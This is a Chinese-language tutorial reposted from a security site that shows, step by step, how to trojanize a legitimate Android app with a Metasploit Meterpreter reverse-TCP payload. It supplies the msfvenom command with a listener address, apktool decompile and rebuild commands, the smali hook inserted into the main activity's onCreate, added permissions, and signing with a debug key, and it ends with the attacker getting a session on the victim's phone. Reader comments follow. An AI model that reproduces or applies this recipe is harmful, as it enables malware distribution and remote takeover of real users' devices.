如何手动将Metasploit的Payloads注入到Android应用中

来源:互联网 发布:js获取所有兄弟节点 编辑:程序博客网 时间:2024/06/05 09:02

由于大多数Android应用缺乏对二进制文件足够的保护,因此攻击者可以将一些恶意的payload轻松地植入到那些合法的Android应用中。这也是现如今,导致Android机中恶意软件传播迅速的重要原因之一。在我之前写的一篇文章中,我已经为大家演示了如何使用脚本将Metasploit payload注入到android应用中。在本文我将通过手动的方式实现payload的注入。

步骤1 – 生成payload

我们首先使用Metasploit MsfVenom来生成一个APK格式的Meterpreter payload文件。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169LPORT=4444 R > pentestlab.apk No platform was selected, choosing Msf::Module::Platform::Android from the payloadNo Arch selected, selecting Arch: dalvik from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 8839 bytes

生成apk 及meterpreter payload.png

步骤2 – APK文件反编译

在做其它操作之前,我们必须先对目标应用和我们生成的pentestlab.apk文件进行反编译。这里我们可以借助apktool来实现。以下命令将执行反编译操作,其结果将被保存在.smali文件中。

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apkI: Using Apktool 2.2.2 on pentestlab.apkI: Loading resource table...I: Decoding AndroidManifest.xml with resources...I: Loading resource table from file: /root/.local/share/apktool/framework/1.apkI: Regular manifest package...I: Decoding file-resources...I: Decoding values */* XMLs...I: Baksmaling classes.dex...I: Copying assets and libs...I: Copying unknown files...I: Copying original files...

apk反编译.png

步骤3 – 移动payload文件

接着我们需要将pentestlab.apk的payload文件,复制到应用程序所在的smali文件夹中。

/root/Downloads/payload/smali/com/metasploit/stage/root/Downloads/original/smali/com/metasploit/stage

步骤4 – Hook注入

检查应用程序的Android清单文件,以确定哪些是在打开应用程序时启动的MainActivity。这一步非常重要,否则payload将无法有效执行。

确认 main activity.png

MainActivity文件中黄色标亮的地方,我们需要替换成以下代码:

;->onCreate(Landroid/os/Bundle;)V

确认需要替换的代码.png

当activity启动时,以下代码将运行metasploit payload以及现有代码。

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

 hook注入.png

步骤5 – 添加Permission权限

为了使注入的payload更有效,我们可以额外的添加permission权限到应用的android清单文件中。一旦用户接受它们,那么我们将获取到更多的手机控制权限。

额外添加permission.png

步骤6 – 重新编译应用程序

完成了以上payload和permission的添加操作,下面我们要做的就是再次编译我们的APK文件。

java -jar apktool.jar b /root/Downloads/original/

编译被注入的apk.png

步骤7 – APK签名

如果我们的应用没有签名,将无法在设备上正常安装。这里我们可以使用默认的androiddebugkey:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

apk签名.png

当目标用户成功安装并运行该APK文件,我们将获取到一个meterpreter session。

通过被入侵的android apk获取meterpreter.png

*参考来源:pentestlab,FB小编 secist 编译,转载请注明来自FreeBuf.COM

发表评论

已有 3 条评论

  • 艾登——皮尔斯 (1级) 2017-07-07 回复1楼

    github上面有个backdoor这个工具一键式,而且你这个好像是抄袭的!!!!!!!!!!!

    亮了(2)
    • secist (7级) 每个人的心中都有一个梦。。 2017-07-07 回复

      @ 艾登——皮尔斯  这个还需要抄袭?

      亮了(1)
  •  CLAY (1级) 2017-07-10 回复2楼

    2015年原文:https://techkernel.org/2015/12/19/embed-metasploit-payload-in-apk-manually/